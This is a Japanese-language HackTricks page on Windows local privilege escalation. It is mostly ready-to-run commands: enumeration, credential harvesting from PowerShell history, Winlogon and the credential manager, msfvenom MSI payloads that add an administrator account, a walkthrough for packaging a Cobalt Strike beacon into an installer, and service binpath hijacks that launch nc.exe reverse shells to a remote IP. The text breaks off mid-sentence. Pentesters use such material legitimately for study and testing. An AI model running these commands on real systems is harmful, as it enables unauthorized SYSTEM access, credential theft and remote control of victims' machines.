.. | ||
dll-hijacking | ||
privilege-escalation-abusing-tokens | ||
access-tokens.md | ||
acls-dacls-sacls-aces.md | ||
appenddata-addsubdirectory-permission-over-service-registry.md | ||
com-hijacking.md | ||
create-msi-with-wix.md | ||
dll-hijacking.md | ||
dpapi-extracting-passwords.md | ||
from-high-integrity-to-system-with-name-pipes.md | ||
integrity-levels.md | ||
jaws.md | ||
juicypotato.md | ||
leaked-handle-exploitation.md | ||
msi-wrapper.md | ||
named-pipe-client-impersonation.md | ||
powerup.md | ||
privilege-escalation-abusing-tokens.md | ||
privilege-escalation-with-autorun-binaries.md | ||
README.md | ||
roguepotato-and-printspoofer.md | ||
rottenpotato.md | ||
seatbelt.md | ||
sedebug-+-seimpersonate-copy-token.md | ||
seimpersonate-from-high-to-system.md | ||
windows-c-payloads.md |
Windows Local Privilege Escalation
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学びましょう!
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝してみたいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つけてください
- 公式PEASS&HackTricksスウォッグを手に入れましょう
- 💬 DiscordグループまたはTelegramグループに参加するか、Twitterで私をフォローしてください 🐦@carlospolopm。
- ハッキングトリックを共有するには、hacktricksリポジトリ および hacktricks-cloudリポジトリ にPRを提出してください。
Windowsローカル特権昇格ベクターを探すための最良のツール: WinPEAS
初期のWindows理論
アクセス トークン
Windowsアクセス トークンが何かわからない場合は、続行する前に次のページを読んでください:
{% content-ref url="access-tokens.md" %} access-tokens.md {% endcontent-ref %}
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEsに関する詳細情報については、次のページを確認してください:
{% content-ref url="acls-dacls-sacls-aces.md" %} acls-dacls-sacls-aces.md {% endcontent-ref %}
完全性レベル
Windowsの完全性レベルがわからない場合は、続行する前に次のページを読んでください:
{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}
Windowsセキュリティコントロール
Windowsには、システムの列挙を防ぐ、実行可能ファイルを実行することさえも防ぐ、または活動を検出することができるさまざまな要素があります。特権昇格の列挙を開始する前に、次のページを読んでこれらの防御メカニズムをすべて列挙してください:
{% content-ref url="../authentication-credentials-uac-and-efs/" %} authentication-credentials-uac-and-efs {% endcontent-ref %}
システム情報
バージョン情報の列挙
Windowsバージョンに既知の脆弱性があるかどうかを確認してください(適用されたパッチも確認してください)。
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
バージョンの脆弱性
このサイトは、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700以上のセキュリティ脆弱性があり、Windows環境が提示する膨大な攻撃面が示されています。
システム上
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeasにはwatsonが組み込まれています)
ローカルでシステム情報を使用
ExploitsのGithubリポジトリ:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
環境
環境変数に保存された資格情報/重要情報はありますか?
set
dir env:
Get-ChildItem Env: | ft Key,Value
PowerShell の履歴
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell トランスクリプトファイル
これを有効にする方法については、https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/で学ぶことができます。
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShellモジュールのロギング
PowerShellパイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果がキャプチャされない場合があります。
これを有効にするには、ドキュメントの「Transcript files」セクションの手順に従い、**「Powershell Transcription」の代わりに「Module Logging」**を選択してください。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
次のコマンドを実行して、Powershellログから最後の15件のイベントを表示できます:
Get-WinEvent -LogName "Windows PowerShell" -MaxEvents 15
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell スクリプトブロックのロギング
スクリプトの実行に関する完全なアクティビティと内容の記録がキャプチャされ、コードの各ブロックが実行される際に文書化されます。このプロセスにより、各アクティビティの包括的な監査トレイルが保存され、フォレンジックや悪意のある振る舞いの分析に役立ちます。実行時にすべてのアクティビティを文書化することで、プロセスに関する詳細な洞察が提供されます。
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
スクリプトブロックのログイベントは、Windowsイベントビューアー内のパスで見つけることができます: アプリケーションとサービスのログ > Microsoft > Windows > PowerShell > Operational。
最後の20イベントを表示するには次を使用します:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
インターネット設定
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
ドライブ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
システムがhttpSではなくhttpを使用して更新を要求していない場合、システムを侵害できます。
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認できます。
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
もし次のような返信を受け取った場合:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
そして、HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
が 1
と等しい場合、それは悪用可能です。 最後のレジストリが0と等しい場合、WSUSエントリは無視されます。
これらの脆弱性を悪用するために、Wsuxploit、pyWSUSなどのツールを使用できます。これらは、非SSL WSUSトラフィックに「偽の」更新を注入するためのMiTM武器化されたエクスプロイトスクリプトです。
こちらの研究を読んでください:
{% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %}
WSUS CVE-2020-1013
完全なレポートはこちら。
基本的に、このバグが悪用する欠陥は次のとおりです:
もしローカルユーザープロキシを変更する権限があれば、かつWindows UpdatesがInternet Explorerの設定で構成されたプロキシを使用している場合、私たちは自分自身のトラフィックを傍受し、資産上の昇格ユーザーとしてコードを実行する権限を持つPyWSUSをローカルで実行する権限を持ちます。
さらに、WSUSサービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。 WSUSホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すると、HTTPおよびHTTPSのWSUSトラフィックを傍受できるようになります。 WSUSは、証明書に対する信頼を最初に使用時に検証するHSTSのようなメカニズムを実装していません。 ユーザーによって信頼され、正しいホスト名を持つ証明書が提示された場合、サービスによって受け入れられます。
この脆弱性を悪用するには、WSUSpiciousツールを使用します(解放されたら)。
KrbRelayUp
特定の条件下で、Windows ドメイン環境においてローカル特権昇格脆弱性が存在します。これらの条件には、LDAP署名が強制されていない環境、ユーザーがResource-Based Constrained Delegation (RBCD) を構成する権限を持ち、ユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの要件はデフォルト設定を使用して満たされることが重要です。
エクスプロイトはhttps://github.com/Dec0ne/KrbRelayUpで見つけることができます。
攻撃の流れについての詳細情報はhttps://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/をチェックしてください。
AlwaysInstallElevated
これらの2つのレジストリが有効になっている場合(値が0x1)、任意の特権を持つユーザーが*.msi
ファイルをNT AUTHORITY\SYSTEMとしてインストール(実行)できます。
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit ペイロード
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
Use the Write-UserAddMSI
command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):
Write-UserAddMSI
MSIラッパー
このツールを使用してMSIラッパーを作成する方法について学ぶために、このチュートリアルを読んでください。コマンドラインを実行したい場合は、.batファイルをラップできることに注意してください。
{% content-ref url="msi-wrapper.md" %} msi-wrapper.md {% endcontent-ref %}
WIXを使用したMSIの作成
{% content-ref url="create-msi-with-wix.md" %} create-msi-with-wix.md {% endcontent-ref %}
Visual Studioを使用したMSIの作成
- Cobalt StrikeまたはMetasploitで
C:\privesc\beacon.exe
に新しいWindows EXE TCPペイロードを生成します。 - Visual Studioを開き、新しいプロジェクトを作成を選択し、検索ボックスに "installer" と入力します。Setup Wizardプロジェクトを選択して次へをクリックします。
- プロジェクトにAlwaysPrivescなどの名前を付け、場所に**
C:\privesc
**を使用し、ソリューションとプロジェクトを同じディレクトリに配置を選択し、作成をクリックします。 - 次へをクリックし続けて、ステップ3/4(含めるファイルを選択)に進みます。追加をクリックし、さきほど生成したBeaconペイロードを選択します。その後、完了をクリックします。
- ソリューションエクスプローラでAlwaysPrivescプロジェクトを強調表示し、プロパティでTargetPlatformをx86からx64に変更します。
- インストールされるアプリをより正規に見せることができるAuthorやManufacturerなどの他のプロパティを変更できます。
- プロジェクトを右クリックし、表示 > カスタムアクションを選択します。
- インストールを右クリックし、カスタムアクションの追加を選択します。
- Application Folderをダブルクリックし、beacon.exeファイルを選択してOKをクリックします。これにより、インストーラが実行されるとすぐにBeaconペイロードが実行されるようになります。
- カスタムアクションのプロパティでRun64BitをTrueに変更します。
- 最後に、ビルドします。
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'
という警告が表示される場合は、プラットフォームをx64に設定していることを確認してください。
MSIのインストール
悪意のある.msi
ファイルのインストールをバックグラウンドで実行するには:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
特権昇格
この脆弱性を悪用するには、exploit/windows/local/always_install_elevated を使用できます。
アンチウイルスおよび検出器
監査設定
これらの設定は何が記録されるかを決定するため、注意を払う必要があります。
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwardingは、ログがどこに送信されているかを知るのに興味深いです。
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPSは、ドメインに参加しているコンピュータ上のローカル管理者パスワードの管理を目的としており、各パスワードが一意でランダム化され、定期的に更新されることを保証します。これらのパスワードはActive Directory内で安全に保存され、ACLを介して十分な権限が付与されたユーザーのみがアクセスでき、承認された場合にのみローカル管理者パスワードを表示できます。
{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}
WDigest
WDigestが有効な場合、平文パスワードがLSASS(Local Security Authority Subsystem Service)に保存されます。
WDigestに関する詳細情報はこちら。
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1から、Microsoftはローカルセキュリティ機関(LSA)のメモリの読み取りやコードのインジェクションを阻止するための強化された保護を導入し、システムをさらに安全にします。
LSA Protectionに関する詳細はこちら。
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
資格情報ガード
資格情報ガードはWindows 10に導入されました。その目的は、デバイスに保存された資格情報をパスザハッシュ攻撃などの脅威から保護することです。資格情報ガードに関する詳細はこちら。
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
キャッシュされた資格情報
ドメイン資格情報はローカルセキュリティ機関(LSA)によって認証され、オペレーティングシステムコンポーネントによって利用されます。ユーザーのログオンデータが登録されたセキュリティパッケージによって認証されると、通常、ユーザーのためのドメイン資格情報が確立されます。
キャッシュされた資格情報に関する詳細はこちら。
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
ユーザー&グループ
ユーザー&グループの列挙
所属しているグループの中に興味深い権限を持っているものがあるかどうかをチェックする必要があります。
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
特権グループ
特権グループに所属している場合、特権を昇格させることができる可能性があります。特権グループについて学び、特権昇格を悪用する方法についてはこちらを参照してください:
{% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} privileged-groups-and-token-privileges.md {% endcontent-ref %}
トークン操作
トークンについて詳しく学ぶには、このページを参照してください:Windows Tokens.
興味深いトークンについて学び、それらを悪用する方法については、以下のページをチェックしてください:
{% content-ref url="privilege-escalation-abusing-tokens.md" %} privilege-escalation-abusing-tokens.md {% endcontent-ref %}
ログインユーザー / セッション
qwinsta
klist sessions
ホームフォルダ
dir C:\Users
Get-ChildItem C:\Users
パスワードポリシー
net accounts
クリップボードの内容を取得します
powershell -command "Get-Clipboard"
実行中のプロセス
ファイルおよびフォルダのアクセス権限
まず最初に、プロセスをリストアップして、プロセスのコマンドライン内にパスワードが含まれていないかを確認します。
実行中のバイナリを上書きできるか、またはバイナリフォルダに書き込み権限があるかどうかをチェックして、DLLハイジャック攻撃を悪用できるかどうかを確認します。
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
常に実行中のelectron/cef/chromium debuggersを確認し、特権を昇格させるために悪用できる可能性があるかどうかを確認してください。
プロセスのバイナリの権限をチェック
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
プロセスのバイナリフォルダのアクセス許可をチェックする(DLLハイジャッキング)
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)
メモリーパスワードマイニング
Sysinternals の procdump を使用して実行中のプロセスのメモリーダンプを作成できます。FTPのようなサービスでは、メモリー内に平文で資格情報が保存されていることがあります。メモリーダンプを取得して資格情報を読み取ってみてください。
procdump.exe -accepteula -ma <proc_name_tasklist>
セキュリティの脆弱なGUIアプリ
SYSTEMとして実行されているアプリケーションは、ユーザーがCMDを生成したり、ディレクトリを参照したりすることを許可する場合があります。
例: "Windowsヘルプとサポート" (Windows + F1)、"コマンドプロンプトを開く"をクリックして"コマンドプロンプトを開く"を検索します。
サービス
サービスのリストを取得します:
net start
wmic service list brief
sc query
Get-Service
権限
scを使用してサービスの情報を取得できます
sc qc <service_name>
以下は、各サービスに必要な特権レベルをチェックするために、Sysinternals から accesschk バイナリを使用することが推奨されています。
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
以下の手順で、「Authenticated Users」がどのサービスでも変更できるかどうかを確認することをお勧めします:
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
ここからXP用のaccesschk.exeをダウンロードできます
サービスを有効にする
このエラーが発生している場合(たとえばSSDPSRVの場合):
System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.
次の方法で有効にできます
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
サービスupnphostは、動作するためにSSDPSRVに依存していることに注意してください(XP SP1の場合)
この問題の別の回避策は、次のコマンドを実行することです:
sc.exe config usosvc start= auto
サービスのバイナリパスの変更
"Authenticated users" グループがサービスに SERVICE_ALL_ACCESS を持っている場合、サービスの実行可能バイナリを変更することが可能です。sc を変更して実行するには:
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
サービスの再起動
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
特権はさまざまな権限を通じて昇格できます:
- SERVICE_CHANGE_CONFIG:サービスバイナリの再構成を許可します。
- WRITE_DAC:権限の再構成を可能にし、サービス構成の変更ができるようになります。
- WRITE_OWNER:所有権の取得と権限の再構成を許可します。
- GENERIC_WRITE:サービス構成の変更ができる能力を継承します。
- GENERIC_ALL:サービス構成の変更ができる能力を継承します。
この脆弱性の検出と悪用には、exploit/windows/local/service_permissions を利用できます。
サービスバイナリの権限が弱い
サービスによって実行されるバイナリを変更できるか、またはバイナリが配置されているフォルダに書き込み権限があるかを確認してください(DLLハイジャック)。
wmic(system32 以外)を使用してサービスによって実行されるすべてのバイナリを取得し、icacls を使用して権限を確認できます:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
あなたはscとicaclsを使用することもできます:
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
サービスレジストリの変更権限
サービスレジストリを変更できるかどうかを確認する必要があります。
次のようにして、サービスレジストリに対する権限を確認できます:
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
次のことを確認する必要があります。Authenticated UsersまたはNT AUTHORITY\INTERACTIVEがFullControl
権限を持っているかどうか。その場合、サービスによって実行されるバイナリを変更できます。
実行されるバイナリのパスを変更するには:
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
サービスレジストリのAppendData/AddSubdirectory権限
レジストリにこの権限がある場合、このレジストリからサブレジストリを作成できます。Windowsサービスの場合、これは任意のコードを実行するのに十分です:
{% content-ref url="appenddata-addsubdirectory-permission-over-service-registry.md" %} appenddata-addsubdirectory-permission-over-service-registry.md {% endcontent-ref %}
引用符のないサービスパス
実行可能ファイルへのパスが引用符で囲まれていない場合、Windowsはスペースの前のすべての終了を実行しようとします。
たとえば、パス C:\Program Files\Some Folder\Service.exe の場合、Windowsは次のように実行しようとします:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
組み込みのWindowsサービスに属するものを除く、すべての引用符のないサービスパスをリストアップします:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services
#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
この脆弱性を検出して悪用するには、metasploitを使用できます:exploit/windows/local/trusted\_service\_path
手動でmetasploitを使用してサービスバイナリを作成することもできます:
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
リカバリーアクション
Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は、バイナリを指定するように構成できます。このバイナリが置換可能であれば、特権昇格が可能になるかもしれません。詳細は公式ドキュメントに記載されています。
アプリケーション
インストールされたアプリケーション
バイナリのアクセス権(上書きして特権昇格を行うことができるかもしれません)とフォルダーのアクセス権(DLLハイジャッキング)を確認してください。
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
書き込み権限
特定のファイルを読むために設定ファイルを変更できるか、または管理者アカウント(schedtasks)によって実行されるバイナリを変更できるかどうかを確認します。
システム内の弱いフォルダ/ファイルの権限を見つける方法は次のとおりです:
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}
スタートアップ時に実行
異なるユーザーによって実行される可能性のあるレジストリまたはバイナリを上書きできるかどうかを確認します。
次のページを読んで、特権を昇格させるための興味深いautorunsの場所について詳しく学びます:
{% content-ref url="privilege-escalation-with-autorun-binaries.md" %} privilege-escalation-with-autorun-binaries.md {% endcontent-ref %}
ドライバー
可能な サードパーティーの奇妙で脆弱なドライバーを探します
driverquery
driverquery.exe /fo table
driverquery /SI
PATH DLL ハイジャッキング
PATH 内のフォルダに書き込み権限 がある場合、プロセスによって読み込まれる DLL をハイジャックして 特権を昇格 することができるかもしれません。
PATH 内のすべてのフォルダのアクセス権を確認します:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
このチェックを悪用する方法の詳細については、以下を参照してください:
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %} writable-sys-path-+dll-hijacking-privesc.md {% endcontent-ref %}
ネットワーク
共有
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares
ホストファイル
ホストファイルにハードコードされた他の既知のコンピュータをチェックします
type C:\Windows\System32\drivers\etc\hosts
ネットワークインターフェース&DNS
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
オープンポート
外部からの制限されたサービスをチェックします
netstat -ano #Opened ports?
ルーティングテーブル
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
ARP テーブル
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
ファイアウォールのルール
ファイアウォールに関連するコマンドはこちらをチェックしてください (ルールのリスト、ルールの作成、無効化、無効化...)
ネットワーク列挙のためのその他のコマンドはこちら
Windows Subsystem for Linux (wsl)
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
バイナリの bash.exe
は C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
にも見つけることができます。
root ユーザーになると、任意のポートでリッスンすることができます(ポートで nc.exe
を初めて使用すると、ファイアウォールによって nc
が許可されるかどうかを GUI で尋ねられます)。
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Bashを簡単にrootとして起動するには、--default-user root
を試してみてください。
WSL
ファイルシステムは、フォルダC:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
で探索できます。
Windowsの資格情報
Winlogonの資格情報
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"
#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
資格情報マネージャー / Windows Vault
https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault は、Windows がユーザーを自動的にログインさせるためのサーバー、ウェブサイト、その他のプログラムのユーザー資格情報を格納します。最初のインスタンスでは、これはユーザーが Facebook の資格情報、Twitter の資格情報、Gmail の資格情報などを保存し、ブラウザ経由で自動的にログインできるようになると思われるかもしれませんが、実際にはそうではありません。
Windows Vault は、Windows がユーザーを自動的にログインさせるための資格情報を格納し、つまり、リソース(サーバーまたはウェブサイト)にアクセスするために資格情報が必要な Windows アプリケーションが、ユーザーがユーザー名とパスワードを毎回入力する代わりに、この資格情報マネージャー&Windows Vault を利用して提供された資格情報を使用できるようになります。
アプリケーションが資格情報マネージャーとやり取りしない限り、特定のリソースの資格情報を使用することはできないと思います。したがって、アプリケーションが Vault を利用する場合、デフォルトのストレージ Vault からそのリソースの資格情報を取得するように、資格情報マネージャーと通信する必要があります。
cmdkey
を使用して、マシンに保存されている資格情報をリストアップします。
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
次に、保存された資格情報を使用するためにrunas
を/savecred
